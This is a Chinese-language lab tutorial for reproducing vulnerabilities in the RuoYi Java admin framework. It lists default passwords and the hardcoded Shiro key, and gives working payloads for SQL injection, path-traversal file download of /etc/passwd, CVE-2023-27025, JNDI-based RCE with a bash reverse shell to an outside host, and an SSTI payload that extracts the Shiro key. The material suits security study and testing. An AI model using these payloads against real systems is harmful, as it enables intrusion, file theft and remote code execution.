漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
13-RuoYi
浏览
1
# 一、RuoYi  RuoYi 是国内最流行的开源 Java 后台管理快速开发平台,Gitee 开源,大量企业二次开发用于 OA、运维后台、权限管理系统,也是护网、CTF、渗透测试高频框架。 若依管理系统,基于SpringBoot的权限管理系统,官网地址:https://ruoyi.vip/ > 业务模块 1. 用户管理、角色管理、部门管理、菜单权限、按钮权限、数据权限(若依标志性能力) 2. 定时任务调度(Quartz):漏洞高发点,支持自定义调用目标字符串 3. 代码生成器:输入数据库表一键生成 CRUD 业务代码 4. 文件上传下载、日志管理、系统参数、字典管理 5. Druid 数据库监控面板、服务监控、缓存监控RuoYi # 二、ruoyi部署 ## phpEnv mysql数据库,通过phpEnv-all.7z进行搭建,官方地址:https://www.phpenv.cn/  重置密码为root  mysql数据库版本切换为8.0版本   ## Navicat 操作数据库工具,Navicat,官网地址:https://www.navicat.com.cn/ Navicat Premium Lite 是 Navicat 的精简版,它包含了用户执行主要的基本数据库操作所需的核心功能,https://www.navicat.com.cn/products/navicat-premium-lite  ## 部署若依 - 使用mysql 8.0版本 - 创建ry数据库 - 字符集: utf8mb4 - 排序规则: utf8mb4_general_ci - 分别导入sql文件 新建数据库   双击ry数据库,右键选择运行SQL文件  选择对应版本的ruoyi框架数据库文件,将两个文件分别进行导入。  ```txt java -jar ruoyi-v4.3.1.jar ```   # 三、弱口令 ```txt 用户: admin ruoyi druid 密码: 123456 admin druid admin123 admin888 ruoyi ``` # 四、Shiro漏洞 ## 漏洞描述 若依默认使用Shiro组件,所以可以试试Shiro经典rememberMe漏洞来getshell,若依将Shiro的key写在配置文件中。 ## 影响范围 - 4.6.1 - 4.3.1 (默认Key zSyK5Kp6PZAAjlT+eeNMlg==) - 3.4及以下(默认key zSyK5Kp6PZAAjlT+eeNMlg==) RuoYi 4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。 ## 漏洞复现 ```txt 使用mysql 8.0版本 创建ry数据库 字符集: utf8mb4 排序规则: utf8mb4_general_ci 运行sql文件 ``` 使用版本:ruoyi-v4.3.1,将数据库文件进行导入后,加载jar包 ```txt java -jar ruoyi-v4.3.1.jar ``` 查看当前版本下的文本文档,查看基础信息 ```txt 数据库名称: ry 数据库端口: 3306 数据库密码: root 项目端口: 8179 ```   使用shiro_attack-4.7.0-SNAPSHOT-all.jar ```txt ava -jar shiro_attack-4.7.0-SNAPSHOT-all.jar ``` 指定key ```txt zSyK5Kp6PZAAjlT+eeNMlg== ```  检测利用链  执行命令  # 五、注入漏洞 若依框架RuoYi < V4.6.2版本,存在SQL注入漏洞,环境使用的版本是ruoyi-v4.5.0,ruoyi-v4.3.1也可以 注入点: ```txt 注入点1 /role/list接口 注入点2 /role/export 注入点3 /user/list 注入点4 /user/list 注入点5 /dept/list 注入点6 /role/authUser/allocatedList 注入点7 /role/authUser/unallocatedList 注入点8 /dept/edit 注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5) ... ``` 功能点 ```txt 后台管理--角色管理--点击搜索功能--抓取搜索数据包 ``` Poc: ```txt pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey =&status=&¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))¶ms%5BendTime%5D= ```  # 六、文件下载漏洞 若依RuoYi < V4.5.1 存在任意文件下载漏洞,继续使用ruoyi-v4.3.1版本 登录后台,访问后台后拼接路径 ```txt /common/download/resource /common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini /common/download/resource?resource=/profile/../../../../../../python33/1323.txt ```  # 七、CVE-2023-27025 该漏洞是若依RuoYi <= 4.7.6版本中存在的 权限绕过 + 任意文件下载 组合漏洞。 攻击者通过后台管理接口添加恶意定时任务,修改系统配置文件路径,绕过下载功能的白名单限制,最终实现任意文件下载。 漏洞本质是 权限控制缺失(允许低权限用户操作敏感接口)和 路径校验不严(未对动态修改的配置路径进行二次校验)的综合结果。 > 前提条件 权限要求: - 攻击者需获取管理员 Cookie(如 JSESSIONID)或存在其他权限绕过漏洞 - 若后台接口未授权即可访问,则漏洞危害升级为"未授权任意文件下载" - 系统配置:目标系统启用了定时任务模块(默认开启) 漏洞复现环境为 ruoyi-v4.7.6 ```txt 使用mysql 8.0版本 创建ry数据库 字符集: utf8mb4 排序规则: utf8mb4_general_ci 运行sql文件 ``` 数据库加载成功之后,启动7.6版本 ```txt java -jar ruoyi-v4.7.6.jar ```  访问8182端口,  登录后台,添加任务绕过白名单(自定义下载文件路径),通过调用 ruoYiConfig.setProfile() 方法,将系统配置文件路径动态修改为攻击者 指定的路径(如 /Windows/123.txt) 注意的是:可能路径需要bypass:,对路径参数进行 URL编码 ```txt ruoYiConfig.setProfile('/Users/lin/passwd.txt') => invokeTarget=ruoYiConfig.setProfile('%2fUsers%2flin%2fpasswd.txt') ``` 正常添加计划任务  添加定时任务时抓取数据包  将invokeTarget值进行修改 ```txt invokeTarget=ruoYiConfig.setProfile('%2fUsers%2flin%2fpasswd.txt') ```  后台查看定时任务列表  执行定时任务  进行文件下载 ```txt common/download/resource?resource=filename ```  # 八、远程代码执行 若依RuoYi = 4.7.8后台定时任务SQL注入可导致RCE漏洞(JNDI) 环境搭建 ```txt 使用mysql 8.0版本 创建ry数据库 字符集: utf8mb4 排序规则: utf8mb4_general_ci 运行sql文件 java -jar ruoyi-v4.7.8.jar ``` 功能点 ```txt 登录后台--定时任务--sql注入 ``` ```bash #利用工具先搭建服务,满足JNDI注入条件,JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar #Linux写入反弹shell bash -i >& /dev/tcp/192.168.124.133/8889 0>&1 #window java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.124.133" #运行之后选择1.8版本的ldap服务 rmi://192.168.124.133:1099/ykyfgs ldap://192.168.124.133:1389/ykyfgs 转16进制 javax.naming.InitialContext.lookup('ldap://192.168.124.133:1389/ykyfgs') ``` 进行16进制编码 https://rivers.chaitin.cn/tools/hex  ```txt 6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3132342e3133333a313338392f796b796667732729 ``` 在后台进行创建定时任务 ```txt 调用目标字符串:genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target ='Hacker' WHERE job_id = 1;') cron表达式:* * * * * ? 添加成功执行一次后检查编号1的任务计划,调用目标字符串会变成 Hacker ```    继续添加执行任务2 ```txt 调用目标字符串:genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e3132342e3133333a313338392f796b796667732729 WHERE job_id = 1;') cron表达式:* * * * * ? 添加成功执行一次后检查编号1的任务计划,调用目标字符串会变成 Hacker ```   执行计划任务编号1  # 九、SSTI绕过RCE 若依 RuoYi 4.8.1 SSTI绕过获取Shiro Key进行RCE。 环境搭建 ```txt 使用mysql 8.0版本 创建ry数据库 字符集: utf8mb4 排序规则: utf8mb4_general_ci 运行sql文件 java -jar ruoyi-v4.8.1.jar ```  ```txt 首先访问特殊路径,/monitor/cache/getNames ```  通过burp修改请求方法  产生的原因是:系统与Shiro框架没有协商,都以为对方进行了拦截 ```java RuoYi\ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.java # 权限校验 //@RequiresPermissions("monitor:cache:view") 被注释,开启就需要普通用户权限 //@RequiresPermissions("monitor:cache:view") @GetMapping() public String cache(ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache"; } //@RequiresPermissions("monitor:cache:view") @PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; } # Shiro 放行 /monitor/cache/getNames RuoYi\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java // 不需要拦截的访问 filterChainDefinitionMap.put("/login", "anon,captchaValidate"); // 新添加: 放行 /monitor/cache/getNames 接口(关键配置) filterChainDefinitionMap.put("/monitor/cache/getNames", "anon"); ``` 对当前数据包,添加Poc,构建恶意数据请求包, ```txt fragment=__|$${#response.getWriter().print('maolin')}|__::.x ```  读取Shiro Key ```txt fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x ```  ```txt 1mMGpiJRTTrFkhBrrOnNYA== ``` 进行漏洞利用  
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~